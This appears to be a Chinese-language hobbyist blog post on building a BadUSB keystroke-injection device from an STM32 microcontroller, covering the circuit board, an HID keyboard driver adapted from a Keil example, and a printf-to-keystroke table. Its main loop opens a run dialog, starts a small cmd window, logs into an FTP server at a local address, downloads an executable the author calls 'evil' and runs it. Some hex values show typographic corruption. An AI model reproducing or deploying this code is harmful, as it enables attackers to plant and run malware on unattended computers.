BadUSB 之 STM32单片机骚操作

12.jpg
很久之前就闻名BADUSB了,有两种方式,一是通过应用层,用硬件实现一个可编程键盘实现,二是通过usb-hid漏洞实现。我选择前者,其实初中时,看见按键精灵的硬件版我就知道有这个东西了,当时不懂嵌入式,当然实现不了啦。为什么需要按键精灵硬件版?一般外挂都是通过软件模拟按键/驱动winio库等实现,这个一般容易被反外挂系统检测输出,且开发难度大,而直接实现一个可编程的实体硬件键盘/鼠标,这种方式可靠得多。

BadUSB基本思路是通过硬件实现一个可编程的键盘(其实说键盘信号输入器更适合),发送指定按键信息到键盘,启动windows系统的cmd,再通过输出vbs或者cmd自带的ftp,执行各种邪恶的代码,达到邪恶的目的。

42_avatar_middle0.jpg

关于stm32的USB口设置,参考了很多资料,找到了一个比较简单的设置(http://wenku.baidu.com/link?url=MYnNZQUJBw0t-mI6bpmP9LgjY7sixRJ9V-jnejtFGvcrgfl8XqBcGDsSFJXfyOmINZXvY2wjAmHF5CxIM_nT96svEqaXkXkO4zWYZ_UwjF3),就用了三个电阻:
QQ截图20150813170908.png

由于我手里除了microUSB就剩USB母口了,想起microUSB很痛苦与固定的不稳定因素(我见过很多人把开发板的microUSB直接拔起来了),所以还是选用USB母口吧,反正手里有两头都是公口的USB线,刚刚好。马上开始母口资料搜集:
QQ截图20150813171104.png
QQ截图20150813173308.png

结合上面东西,马上开始画板,我又用sprintlayout了,为什么不用ad?这种小东西如果上ad会有种打炮打蚊子的感觉:
QQ截图20150815002607.jpg
下载PCB:http://1000eb.com/1fexk

最终做出来就是这样啦,热转印样子就这样啦,没理由这点东西还拿去打样吧,哈哈,不用洞洞板做就已经不错了:
QQ截图20150815003223.jpgQQ截图20150815003238.jpg

硬件部分就这样完了,接下来就是软件了,其实就是实现HID协议,所谓的HID协议,说白了就是一些数字信号:
QQ截图20150815003905.jpg
当然,上面的不是HID的图,网上随便找的…我也想家里有个示波器…Other_147.jpg

其实实现HID协议要对USB很了解,但是我们是应用型人才嘛!要真正了解USB要很久,看看圈圈哥那本书(如果你想玩USB,不知道圈圈哥那本教你玩USB的书,那你就别学了,哈哈,书上有用at89s52实现键盘和鼠标的例子)就知道了,几百页。

虽然这样,天无绝人之路,keil提供的stm32例程中有一份叫JoyStickMouse,就是用stm32实现摇杆USB设备,其实大同小异,仅需要对这份东西进行修改,设备包等,就能实现一个虚拟USB键盘了。
找不到的朋友,这里提供这份东西下载(keil arm 4):http://1000eb.com/1fexm 其实在keil的安装目录就有,还有很多丰富的资源,一开始我以为是st官方提供的,想不到是keil提供的。QQ图片20150322215103.jpg你特么逗我…

主要修改的教程是根据http://www.openedv.com/posts/list/10971.htm 这位前辈的资料进行修改的。大家修改好应该就差不多了,我在这里提供一下自己的修改部分:
void Joystick_Send(uint8_t win_buf,uint8_t key_buf)
{
uint8_t Mouse_Buffer[8] = {0, 0, 0, 0, 0, 0, 0, 0}
/* prepare buffer to send */
Mouse_Buffer[0]=win_buf;
Mouse_Buffer[2]=key_buf;
/*copy mouse position info in ENDP1 Tx Packet Memory Area*/
UserToPMABufferCopy(Mouse_Buffer, GetEPTxAddr(ENDP1), 8);
/* enable endpoint for transmission */
SetEPTxValid(ENDP1);
}

win_buf是组合键键值,例如shift键0x02(百度了很久才知道这个键值),微软小旗子那个键键值0x80。key_buf为普通键键值(键值可以参考这份HID协议1.1 http://1000eb.com/1fexp)。一共发送的数据为1字节*8 第一个字节为组合键win_buf,第二个固定为0,第三个为key_buf。
发送{0,0,0,0,0,0,0,0}则松开所有键。

经过辛苦的测试,正常发送一次按键信息如下:
Joystick_Send(0,0×04);
Delay(300000);
Joystick_Send(0,0);
这样就输入了一个A,72MHz频率下自减300000次的时间。

实现了输入按键信息,懒人又想方便一点执行按键信息了QQ图片20150701142120.gif
没问题!咱用在stm32上实现printf的重定向。但是这个重定向有点特殊,不是输出到串口1里,是输入到按键信息,哈哈,看代码吧:
#include

int fputc(int ch, FILE *f){
if(ch==’a’ || ch==’A’){
Joystick_Send(0,0×04);
}
else if(ch==’b’ || ch==’B’){
Joystick_Send(0,0×05);
}
else if(ch==’c’ || ch==’C’){
Joystick_Send(0,0×06);
}
else if(ch==’d’ || ch==’D’){
Joystick_Send(0,0×07);
}
else if(ch==’e’ || ch==’E’){
Joystick_Send(0,0×08);
}
else if(ch==’f’ || ch==’F’){
Joystick_Send(0,0×09);
}
else if(ch==’g’ || ch==’G’){
Joystick_Send(0,0x0A);
}
else if(ch==’h’ || ch==’H’){
Joystick_Send(0,0x0B);
}
else if(ch==’i’ || ch==’I’){
Joystick_Send(0,0x0C);
}
else if(ch==’j’ || ch==’J’){
Joystick_Send(0,0x0D);
}
else if(ch==’k’ || ch==’K’){
Joystick_Send(0,0x0E);
}
else if(ch==’l’ || ch==’L’){
Joystick_Send(0,0x0F);
}
else if(ch==’m’ || ch==’M’){
Joystick_Send(0,0×10);
}
else if(ch==’n’ || ch==’N’){
Joystick_Send(0,0×11);
}
else if(ch==’o’ || ch==’O’){
Joystick_Send(0,0×12);
}
else if(ch==’p’ || ch==’P’){
Joystick_Send(0,0×13);
}
else if(ch==’q’ || ch==’Q’){
Joystick_Send(0,0×14);
}
else if(ch==’r’ || ch==’R’){
Joystick_Send(0,0×15);
}
else if(ch==’s’ || ch==’S’){
Joystick_Send(0,0×16);
}
else if(ch==’t’ || ch==’T’){
Joystick_Send(0,0×17);
}
else if(ch==’u’ || ch==’U’){
Joystick_Send(0,0×18);
}
else if(ch==’v’ || ch==’V’){
Joystick_Send(0,0×19);
}
else if(ch==’w’ || ch==’W’){
Joystick_Send(0,0x1A);
}
else if(ch==’x’ || ch==’X’){
Joystick_Send(0,0x1B);
}
else if(ch==’y’ || ch==’Y’){
Joystick_Send(0,0x1C);
}
else if(ch==’z’ || ch==’Z’){
Joystick_Send(0,0x1D);
}
else if(ch==’\n’){
Joystick_Send(0,0×58);
}
else if(ch==’1′){
Joystick_Send(0,0x1E);
}
else if(ch==’2′){
Joystick_Send(0,0x1F);
}
else if(ch==’3′){
Joystick_Send(0,0×20);
}
else if(ch==’4′){
Joystick_Send(0,0×21);
}
else if(ch==’5′){
Joystick_Send(0,0×22);
}
else if(ch==’6′){
Joystick_Send(0,0×23);
}
else if(ch==’7′){
Joystick_Send(0,0×24);
}
else if(ch==’8′){
Joystick_Send(0,0×25);
}
else if(ch==’9′){
Joystick_Send(0,0×26);
}
else if(ch==’0′){
Joystick_Send(0,0×27);
}
else if(ch==’!’){
Joystick_Send(0x02,0x1E);
}
else if(ch==’@’){
Joystick_Send(0x02,0x1F);
}
else if(ch==’#’){
Joystick_Send(0x02,0x20);
}
else if(ch==’$’){
Joystick_Send(0x02,0x21);
}
else if(ch==’%’){
Joystick_Send(0x02,0x22);
}
else if(ch==’^’){
Joystick_Send(0x02,0x23);
}
else if(ch==’&’){
Joystick_Send(0x02,0x24);
}
else if(ch==’*’){
Joystick_Send(0x02,0x25);
}
else if(ch=='(‘){
Joystick_Send(0x02,0x26);
}
else if(ch==’)’){
Joystick_Send(0x02,0x27);
}
else if(ch==’ ‘){
Joystick_Send(0,0x2C);
}
else if(ch==’-‘){
Joystick_Send(0,0x2D);
}
else if(ch==’=’){
Joystick_Send(0,0x2E);
}
else if(ch=='[‘){
Joystick_Send(0,0x2F);
}
else if(ch==’]’){
Joystick_Send(0,0×30);
}
else if(ch==’\\’){
Joystick_Send(0,0×31);
}
else if(ch==’;’){
Joystick_Send(0,0×33);
}
else if(ch==’\”){
Joystick_Send(0,0×34);
}
else if(ch==’,’){
Joystick_Send(0,0×36);
}
else if(ch==’.’){
Joystick_Send(0,0×37);
}
else if(ch==’/’){
Joystick_Send(0,0×38);
}
else if(ch==’_’){
Joystick_Send(0x02,0x2D);
}
else if(ch==’+’){
Joystick_Send(0x02,0x2E);
}
else if(ch=='{‘){
Joystick_Send(0x02,0x2F);
}
else if(ch==’}’){
Joystick_Send(0x02,0x30);
}
else if(ch==’|’){
Joystick_Send(0x02,0x31);
}
else if(ch==’~’){
Joystick_Send(0x02,0x32);
}
else if(ch==’:’){
Joystick_Send(0x02,0x33);
}
else if(ch=='”‘){
Joystick_Send(0x02,0x34);
}
else if(ch=='<‘){
Joystick_Send(0x02,0x36);
}
else if(ch==’>’){
Joystick_Send(0x02,0x37);
}
else if(ch==’?’){
Joystick_Send(0x02,0x38);
}
Delay(300000);
Joystick_Send(0,0);
return ch;
}

这个可能有点不全,但应该够用了,大家也看到了这种代码难度不大,但是很枯燥,是啊,可偏偏打雷了!断电了!来电后打开main.c傻眼了…psb3.jpg

int main(void)
{
Set_System();

USB_Interrupts_Config();

Set_USBClock();

USB_Init();

while(1)
{
Joystick_Send(0x80,0x15);
Delay(300000);
Joystick_Send(0,0);

Delay(300000);
Delay(300000);
Delay(300000);
Delay(300000);
Delay(300000);
Delay(300000);

//

printf(“cmd /t 01 /K mode CON: COLS=16 LINES=1\n”);
Delay(300000);

printf(“ftp\n”);
Delay(300000);

printf(“open 192.168.1.175\n”);
Delay(300000);

printf(“anonymous\n”);
Delay(300000);

printf(“\n”);
Delay(300000);

printf(“get ./FTPserver.exe\n”);
Delay(300000);

printf(“quit\n”);
Delay(300000);

printf(“ftpserver\n”);
Delay(300000);

printf(“exit\n”);
Delay(300000);

Delay(72000000);
}
}

上面的代码应该很清晰了,按下组合键Win+R,输入cmd以及参数 /t 01 /K mode CON: COLS=16 LINES=1

/t 01 改变cmd背景颜色和文字颜色
/k 执行后面的代码 mode CON: COLS=16 LINES=1 修改缓冲区长度为16,行数为1

启动后输入ftp,并进行登录
下载邪恶的执行文件后运行,BadUSB的使命也就完成了,接下来就交给邪恶的执行文件了

工程源码:http://1000eb.com/1fext

发表评论

电子邮件地址不会被公开。 必填项已用*标注